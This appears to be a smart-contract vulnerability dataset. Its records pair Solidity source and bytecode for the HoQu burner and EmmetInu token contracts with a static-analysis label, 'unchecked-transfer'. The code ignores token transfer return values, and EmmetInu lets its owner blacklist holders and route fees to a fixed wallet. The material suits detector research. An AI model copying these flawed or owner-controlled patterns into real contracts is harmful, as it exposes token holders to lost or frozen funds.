Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amout of tokens to be transfered */ function transferFrom(address _from, address _to, uint256 _value) returns (bool) { var _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // require (_value <= _allowance); balances[_to] = balances[_to].add(_value); balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Aprove the passed address to spend the specified amount of tokens on behalf of msg.sender. * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) returns (bool) { // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender, 0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 require((_value == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifing the amount of tokens still avaible for the spender. */ function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } } /** * @title HoQuToken * @dev HoQu.io token contract. */ contract HoQuToken is StandardToken, Pausable { string public constant name = "HOQU Token"; string public constant symbol = "HQX"; uint32 public constant decimals = 18; /** * @dev Give all tokens to msg.sender. */ function HoQuToken(uint _totalSupply) { require (_totalSupply > 0); totalSupply = balances[msg.sender] = _totalSupply; } function transfer(address _to, uint _value) whenNotPaused returns (bool) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint _value) whenNotPaused returns (bool) { return super.transferFrom(_from, _to, _value); } } /** * @title HoQuBurner * @title HoQu.io contract to burn HQX. */ contract HoQuBurner is Ownable { using SafeMath for uint256; // token instance HoQuToken public token; mapping(address => uint256) public burned; mapping(uint32 => address) public transactionAddresses; mapping(uint32 => uint256) public transactionAmounts; uint32 public transactionsCount; /** * Events for token burning */ event TokenBurned(address indexed _sender, uint256 _tokens); /** * @param _tokenAddress address of a HQX token contract */ function HoQuBurner(address _tokenAddress) { token = HoQuToken(_tokenAddress); } /** * Burn particular HQX amount already sent to this contract * * Should be executed by contract owner (for security reasons). * Sender should just send HQX tokens to contract address */ function burnFrom(address _sender, uint256 _tokens) onlyOwner { require(_tokens > 0); token.transfer(address(0), _tokens); transactionAddresses[transactionsCount] = _sender; transactionAmounts[transactionsCount] = _tokens; transactionsCount++; burned[_sender] = burned[_sender].add(_tokens); TokenBurned(_sender, _tokens); } /** * Burn particular HQX amount using token allowance * * Should be executed by sender. * Sender should give allowance for specified amount in advance (see approve method of HOQU token contract) */ function burn(uint256 _tokens) { token.transferFrom(msg.sender, this, _tokens); burnFrom(msg.sender, _tokens); } }
0x60606040526004361061007f5763ffffffff60e060020a60003504166342966c68811461008457806379cc67901461009c5780638da5cb5b146100be578063a7509b83146100ed578063b626791e1461011e578063f2fde38b1461013a578063fc0c546a14610159578063fd13a2811461016c578063fd99a74614610188575b600080fd5b341561008f57600080fd5b61009a6004356101b4565b005b34156100a757600080fd5b61009a600160a060020a036004351660243561023c565b34156100c957600080fd5b6100d16103ac565b604051600160a060020a03909116815260200160405180910390f35b34156100f857600080fd5b61010c600160a060020a03600435166103bb565b60405190815260200160405180910390f35b341561012957600080fd5b61010c63ffffffff600435166103cd565b341561014557600080fd5b61009a600160a060020a03600435166103df565b341561016457600080fd5b6100d1610436565b341561017757600080fd5b6100d163ffffffff60043516610445565b341561019357600080fd5b61019b610460565b60405163ffffffff909116815260200160405180910390f35b600154600160a060020a03166323b872dd33308460405160e060020a63ffffffff8616028152600160a060020a0393841660048201529190921660248201526044810191909152606401602060405180830381600087803b151561021757600080fd5b5af1151561022457600080fd5b5050506040518051905050610239338261023c565b50565b60005433600160a060020a0390811691161461025757600080fd5b6000811161026457600080fd5b600154600160a060020a031663a9059cbb60008360405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b15156102bb57600080fd5b5af115156102c857600080fd5b505050604051805150506005805463ffffffff9081166000908152600360209081526040808320805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03891690811790915585548516845260048352818420879055855463ffffffff19811690861660010186161790955593825260029052919091205461035691839061046c16565b600160a060020a0383166000818152600260205260409081902092909255907f1af5163f80e79b5e554f61e1d052084d3a3fe1166e42a265798c4e2ddce8ffa29083905190815260200160405180910390a25050565b600054600160a060020a031681565b60026020526000908152604090205481565b60046020526000908152604090205481565b60005433600160a060020a039081169116146103fa57600080fd5b600160a060020a038116156102395760008054600160a060020a03831673ffffffffffffffffffffffffffffffffffffffff1990911617905550565b600154600160a060020a031681565b600360205260009081526040902054600160a060020a031681565b60055463ffffffff1681565b60008282018381101561047b57fe5b93925050505600a165627a7a72305820240647455b7cec8deb5cfaa6406fe27cb68af47f7a381a13f888e53713befde40029
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
5,640
0x37e42cd1eff6a16dc014361f2142337538a86221
/** *Submitted for verification at Etherscan.io on 2022-04-08 */ /** 🧰Emmet Token🧰 Total Supply:100,000,000,000 MaxBuy:2% MaxWallet:3% Tax : 8% Buy 8% Sell Website:http://emmetinu.space ⚙️Tg:https://t.me/emmetinu */ pragma solidity ^0.8.13; // SPDX-License-Identifier: UNLICENSED abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract EmmetInu is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 100000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet; string private constant _name = "EmmetInu"; string private constant _symbol = "EmmetInu"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; uint256 private _maxWalletSize = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet = payable(0x321FF6EDc3F48a8b169Bf326b37610B8fc2e31B1); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 0; _feeAddr2 = 8; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize."); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 0; _feeAddr2 = 8; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function removeLimits() external onlyOwner{ _maxTxAmount = _tTotal; _maxWalletSize = _tTotal; } function changeMaxTxAmount(uint256 percentage) external onlyOwner{ require(percentage>0); _maxTxAmount = _tTotal.mul(percentage).div(100); } function changeMaxWalletSize(uint256 percentage) external onlyOwner{ require(percentage>0); _maxWalletSize = _tTotal.mul(percentage).div(100); } function sendETHToFee(uint256 amount) private { _feeAddrWallet.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 2000000000 * 10**9; _maxWalletSize = 3000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function nonosquare(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101235760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb146103a6578063b87f137a146103e3578063c3c8cd801461040c578063c9567bf914610423578063dd62ed3e1461043a5761012a565b806370a08231146102e5578063715018a614610322578063751039fc146103395780638da5cb5b1461035057806395d89b411461037b5761012a565b8063273123b7116100e7578063273123b714610228578063313ce567146102515780635932ead11461027c578063677daa57146102a55780636fc3eaec146102ce5761012a565b806306fdde031461012f578063095ea7b31461015a57806318160ddd146101975780631b3f71ae146101c257806323b872dd146101eb5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b50610144610477565b604051610151919061271e565b60405180910390f35b34801561016657600080fd5b50610181600480360381019061017c91906127e8565b6104b4565b60405161018e9190612843565b60405180910390f35b3480156101a357600080fd5b506101ac6104d2565b6040516101b9919061286d565b60405180910390f35b3480156101ce57600080fd5b506101e960048036038101906101e491906129d0565b6104e3565b005b3480156101f757600080fd5b50610212600480360381019061020d9190612a19565b61060d565b60405161021f9190612843565b60405180910390f35b34801561023457600080fd5b5061024f600480360381019061024a9190612a6c565b6106e6565b005b34801561025d57600080fd5b506102666107d6565b6040516102739190612ab5565b60405180910390f35b34801561028857600080fd5b506102a3600480360381019061029e9190612afc565b6107df565b005b3480156102b157600080fd5b506102cc60048036038101906102c79190612b29565b610891565b005b3480156102da57600080fd5b506102e361096b565b005b3480156102f157600080fd5b5061030c60048036038101906103079190612a6c565b6109dd565b604051610319919061286d565b60405180910390f35b34801561032e57600080fd5b50610337610a2e565b005b34801561034557600080fd5b5061034e610b81565b005b34801561035c57600080fd5b50610365610c38565b6040516103729190612b65565b60405180910390f35b34801561038757600080fd5b50610390610c61565b60405161039d919061271e565b60405180910390f35b3480156103b257600080fd5b506103cd60048036038101906103c891906127e8565b610c9e565b6040516103da9190612843565b60405180910390f35b3480156103ef57600080fd5b5061040a60048036038101906104059190612b29565b610cbc565b005b34801561041857600080fd5b50610421610d96565b005b34801561042f57600080fd5b50610438610e10565b005b34801561044657600080fd5b50610461600480360381019061045c9190612b80565b611330565b60405161046e919061286d565b60405180910390f35b60606040518060400160405280600881526020017f456d6d6574496e75000000000000000000000000000000000000000000000000815250905090565b60006104c86104c16113b7565b84846113bf565b6001905092915050565b600068056bc75e2d63100000905090565b6104eb6113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610578576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161056f90612c0c565b60405180910390fd5b60005b81518110156106095760016006600084848151811061059d5761059c612c2c565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061060190612c8a565b91505061057b565b5050565b600061061a848484611588565b6106db846106266113b7565b6106d6856040518060600160405280602881526020016136c160289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061068c6113b7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c199092919063ffffffff16565b6113bf565b600190509392505050565b6106ee6113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461077b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077290612c0c565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6107e76113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610874576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086b90612c0c565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b6108996113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610926576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091d90612c0c565b60405180910390fd5b6000811161093357600080fd5b61096260646109548368056bc75e2d63100000611c7d90919063ffffffff16565b611cf790919063ffffffff16565b600f8190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109ac6113b7565b73ffffffffffffffffffffffffffffffffffffffff16146109cc57600080fd5b60004790506109da81611d41565b50565b6000610a27600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611dad565b9050919050565b610a366113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ac3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aba90612c0c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610b896113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c16576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0d90612c0c565b60405180910390fd5b68056bc75e2d63100000600f8190555068056bc75e2d63100000601081905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600881526020017f456d6d6574496e75000000000000000000000000000000000000000000000000815250905090565b6000610cb2610cab6113b7565b8484611588565b6001905092915050565b610cc46113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4890612c0c565b60405180910390fd5b60008111610d5e57600080fd5b610d8d6064610d7f8368056bc75e2d63100000611c7d90919063ffffffff16565b611cf790919063ffffffff16565b60108190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dd76113b7565b73ffffffffffffffffffffffffffffffffffffffff1614610df757600080fd5b6000610e02306109dd565b9050610e0d81611e1b565b50565b610e186113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ea5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9c90612c0c565b60405180910390fd5b600e60149054906101000a900460ff1615610ef5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eec90612d1e565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610f8530600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1668056bc75e2d631000006113bf565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610fd0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ff49190612d53565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561105b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061107f9190612d53565b6040518363ffffffff1660e01b815260040161109c929190612d80565b6020604051808303816000875af11580156110bb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110df9190612d53565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730611168306109dd565b600080611173610c38565b426040518863ffffffff1660e01b815260040161119596959493929190612dee565b60606040518083038185885af11580156111b3573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906111d89190612e64565b5050506001600e60166101000a81548160ff0219169083151502179055506001600e60176101000a81548160ff021916908315150217905550671bc16d674ec80000600f819055506729a2241af62c00006010819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016112e9929190612eb7565b6020604051808303816000875af1158015611308573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061132c9190612ef5565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361142e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161142590612f94565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361149d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161149490613026565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161157b919061286d565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036115f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115ee906130b8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611666576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161165d9061314a565b60405180910390fd5b600081116116a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116a0906131dc565b60405180910390fd5b6000600a819055506008600b819055506116c1610c38565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561172f57506116ff610c38565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611c0957600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156117d85750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6117e157600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561188c5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156118e25750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156118fa5750600e60179054906101000a900460ff165b15611a3857600f54811115611944576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161193b90613248565b60405180910390fd5b60105481611951846109dd565b61195b9190613268565b111561199c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119939061330a565b60405180910390fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106119e757600080fd5b601e426119f49190613268565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148015611ae35750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611b395750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611b4f576000600a819055506008600b819055505b6000611b5a306109dd565b9050600e60159054906101000a900460ff16158015611bc75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611bdf5750600e60169054906101000a900460ff165b15611c0757611bed81611e1b565b60004790506000811115611c0557611c0447611d41565b5b505b505b611c14838383612094565b505050565b6000838311158290611c61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c58919061271e565b60405180910390fd5b5060008385611c70919061332a565b9050809150509392505050565b6000808303611c8f5760009050611cf1565b60008284611c9d919061335e565b9050828482611cac91906133e7565b14611cec576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ce39061348a565b60405180910390fd5b809150505b92915050565b6000611d3983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506120a4565b905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611da9573d6000803e3d6000fd5b5050565b6000600854821115611df4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611deb9061351c565b60405180910390fd5b6000611dfe612107565b9050611e138184611cf790919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5357611e5261288d565b5b604051908082528060200260200182016040528015611e815781602001602082028036833780820191505090505b5090503081600081518110611e9957611e